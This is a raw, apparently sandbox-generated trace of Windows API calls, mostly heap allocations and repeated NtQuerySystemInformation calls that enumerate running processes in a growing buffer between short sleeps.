	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ada8) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28927b0
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927b0) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b430
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b430) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0069.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0069.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0069.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0069.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0069.086] Sleep (dwMilliseconds=0x64) 
	[0069.266] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28887b0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28887b0, ResultLength=0x0) returned 0xc0000004
	[0069.267] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28887b0, Size=0x2048) returned 0x28c4cb8
	[0069.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c4cb8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c4cb8, ResultLength=0x0) returned 0xc0000004
	[0069.267] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c4cb8, Size=0x306c) returned 0x2894bd8
	[0069.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.267] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0069.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.268] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0069.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.268] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0069.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.268] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0069.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.268] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0069.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.269] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0069.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.269] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0069.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.269] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0069.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.270] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0069.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.270] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0069.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.270] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0069.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.270] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0069.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.271] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0069.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.271] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0069.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.272] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0069.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.272] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0069.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.272] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0069.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.273] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0069.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.273] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0069.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.273] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0069.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.274] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0069.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.274] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0069.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.274] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0069.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.275] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0069.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.275] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0069.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.276] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0069.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.276] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0069.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.277] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0069.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.277] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0069.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.278] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0069.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.278] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0069.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.278] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0069.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.279] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0069.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0069.281] Sleep (dwMilliseconds=0x64) 
	[0069.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0069.487] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28c90c8
	[0069.487] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c90c8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c90c8, ResultLength=0x0) returned 0xc0000004
	[0069.487] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c90c8, Size=0x306c) returned 0x2894bd8
	[0069.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.488] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0069.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.488] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0069.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.489] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0069.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.489] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0069.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.490] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0069.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.490] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0069.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.491] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0069.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.491] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0069.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.491] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0069.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.492] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0069.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.492] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0069.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.493] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0069.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.493] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0069.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.493] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0069.494] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.494] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0069.494] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.495] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0069.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.497] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0069.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.497] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0069.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.498] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0069.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.498] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0069.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.499] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0069.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.499] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0069.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.500] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0069.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.500] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0069.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.501] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0069.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.501] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0069.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.501] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0069.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.502] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0069.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.502] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0069.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.503] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0069.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.503] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0069.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.504] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0069.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.505] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0069.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0069.507] Sleep (dwMilliseconds=0x64) 
	[0069.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28898b8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28898b8, ResultLength=0x0) returned 0xc0000004
	[0069.702] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28898b8, Size=0x2048) returned 0x28c08a8
	[0069.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c08a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c08a8, ResultLength=0x0) returned 0xc0000004
	[0069.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c08a8, Size=0x306c) returned 0x2894bd8
	[0069.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0069.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.704] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0069.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.705] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0069.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.705] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0069.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.705] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0069.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.706] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0069.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.706] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0069.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.706] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0069.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.707] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0069.707] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.707] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
